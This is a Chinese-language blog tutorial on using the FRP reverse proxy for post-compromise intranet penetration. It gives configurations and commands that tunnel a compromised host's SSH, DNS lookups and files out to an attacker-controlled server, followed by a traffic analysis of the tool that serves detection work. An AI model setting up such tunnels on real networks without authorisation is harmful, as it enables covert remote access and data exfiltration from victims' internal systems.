内网渗透工具 - 反向代理 FRP
0x1 简介
FRP 是一个比较流行而且成熟的内网渗透工具,支持 TCP、UDP、HTTP、HTTPS 等多种协议。
0x2 前期准备
工具准备:可在官方 github 仓库下载 https://github.com/fatedier/frp/releases
将 frps 及 frps.ini 放到具有公网 服务端 的机器上。
将 frpc 及 frpc.ini 放到内网机器上。
0x3 使用场景与教程
场景 1--通过 SSH 访问内网设备
(1)简介
内网设备有暴露可连接的端口,比如 22 或者 3389 等端口,外网无法访问。再一次内网渗透过程中,发现该设备存在漏洞可上传任意文件。此时,攻击者可利用 frp 工具对内网设备进行连接。
(2)实验环境
服务端(服务端公网 IP):x.x.x.x
被控端(客户端)centos7:10.8.1.1
控制端(攻击机)kali:10.1.1.2
(3)使用
1)服务端上部署 frps,配置修改 frps.ini 文件,配置如下
[common]
bind_port = 9999 #绑定的服务端端口(注释可能导致运行错误,配置时可删除)
dashboard_user = admin #可选,控制台用户名
dashboard_pwd = password #可选,控制台密码
dashboard_port = 5555 #可选,控制台的端口
服务端启动 frps 服务
./frps -c ./frps.ini
可以打开浏览器,访问 http://x.x.x.x:5555 验证是否配置完成

2)被控端上部署 frpc,配置修改 frpc.ini 文件,配置如下
[common]
server_addr = x.x.x.x #服务端公网 IP
server_port = 9999 #服务端绑定端口
[ssh]
type = tcp #指定 tcp 类型代理
local_ip = 127.0.0.1 #暴露本地 ip
local_port = 22 #暴露本地端口
remote_port = 6000 #frp 服务端公网监听的端口,攻击者连接端口
被控端启动 frpc
./fprc -c frpc.ini
3)攻击机通过 ssh 连接客户端
ssh -p 6000 root@x.x.x.x
访问控制台可见连接记录

场景 2--转发 DNS 查询
(1)实验环境
同上
(2)使用
1)服务端 vps 修改配置 frps.ini,并启动 frps 服务,同上
2)被控端 centos7 修改配置 frpc.ini,并启动 frpc。type 为 udp 协议,local_ip 设置为谷歌的 DNS 服务器(此处为测试用,真实场景可设置为内网的 DNS 服务器,达到探测内网资产目的),local_port 设置为 DNS 服务端口,remote_port 为 frp 服务端 vps 监听的端口,攻击者连接端口
[common]
server_addr = x.x.x.x
server_port = 9999
[dns]
type = udp
local_ip = 8.8.8.8
local_port = 53
remote_port = 6000
3)攻击机可以通过 frps 转发在内网设备上查询到的 DNS 信息
dig @101.42.250.174 -p 6000 www.baidu.com

场景 3--对外提供内网文件访问下载服务
(1)实验环境
同上
(2)使用
1)服务端 vps 修改配置 frps.ini,并启动 frps 服务,同上
2)被控端 centos7 修改配置 frpc.ini,并启动 frpc。使用组件 static_file 对外暴露内网文件。plugin_local_path 指定需要对外提供的文件目录;plugin_strip_prefix 指定访问 URL 的前缀,为可选项;plugin_http_user、plugin_http_passwd 指定访问文件需要的用户名和密码
# frpc.ini
[common]
server_addr = x.x.x.x
server_port = 9999
[plugin_static_file]
type = tcp
remote_port = 3250
plugin = static_file
plugin_local_path = /tmp/rpshttp
plugin_strip_prefix = static
plugin_http_user = admin
plugin_http_passwd = admin
3)攻击机 kali2019 通过浏览器访问 http://x.x.x.x:3250/static/,输入配置的用户名密码即可访问目录下文件,用户名密码错误将会显示未授权

场景 4--P2P 模式
(1)简介
P2P 模式是一种点对点的内网穿透方式,此场景将不通过服务器中转流量的方式来达到访问内网的目的。
(2)实验环境
同上
(3)使用
1)服务端 vps 上部署 frps,配置修改 frps.ini 文件,配置如下
[common]
bind_port = 7000
bind_udp_port = 7001 #可以与绑定的 tcp 端口保持一致
#可以同上配置控制台设置
2)被控端配置 frpc.ini,并启动 frpc 服务
[common]
server_addr = x.x.x.x
server_port = 7000
[p2p_ssh]
type = xtcp
sk = abcdefg
local_ip = 127.0.0.1
local_port = 22 #本地需要被连接的服务
3)控制端配置 frpc.ini,并启动 frpc 服务
[common]
server_addr = 10.8.58.243
server_port = 7000
[p2p_ssh_visitor]
type = xtcp
role = visitor
server_name = p2p_ssh
sk = abcdefg
bind_addr = 127.0.0.1
bind_port = 6000 #选择一个本地端口与被控端进行绑定
4)控制端通过 ssh 连接被控端
ssh -p 6000 root@127.0.0.1

0x4 流量分析
(一)场景 1 流量分析
对场景 1 的流量进行分析。
首先,在攻击者抓包分析,如图所示。攻击者请求与服务端的 6000 端口建立 ssh 连接,攻击者与服务端只有一个正常 ssh 请求连接的过程,此时的 6000 端口正是在 frpc 中配置 s 监听端口。此时还需要进一步在服务端分析流量转发过程。

同时,在服务端抓包分析,如图所示。客户端即内网主机 frpc 启动之后,将主动请求连接服务端 frps ,frpc 与 frps 三次握手建立完成,后续进行登录确认后完成连接(注:wireshark 识别的 ssl 协议,并非 frps 与 frpc 是通过 ssl 协议建立连接,而是协议识别有错误,与端口配置有关)。此时,是由客户端随机分配一个端口与服务端配置的 9999 端口建立隧道通信。

建立连接时,客户端将 frp 的版本、系统信息、时间戳以及私钥发送给服务端进行验证应答,服务端响应后,新建一个 run_id 维持会话的长连接,并等待客户端的下一个请求。攻击者向服务端发起 ssh 请求,并且会指向特定的”proxy”,由服务端转发该请求到客户端。

最后,在客户端内网主机上抓包分析,抓取以太网卡的流量与服务端以太网卡流量是一致的,需要分析的是 22 端口的流量如何被转发,所以需要抓取 lo 网卡流量,如图所示。可以得出,frp 工具在客户端将本地的 22 端口流量经过与配置的外网端口建立连接进行转发。

根据对场景 1 的流量与特征分析,可以得出 frp 运行的一个大概流程。首先,frpc 启动之后,先与 frps 建立连接,连接后将进行协商验证。验证通过后 frps 暴露配置的端口发起监听,等待攻击者的请求。因此,攻击者的内网连接请求经过服务端到内网的转发,最终得到了内网设备的响应。
(二)版本差异性
Frps 与 Frpc 在进行连接时,新版本 0.43.0 会表现出一些流量上的差异。
参考链接
https://github.com/fatedier/frp
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!

发布评论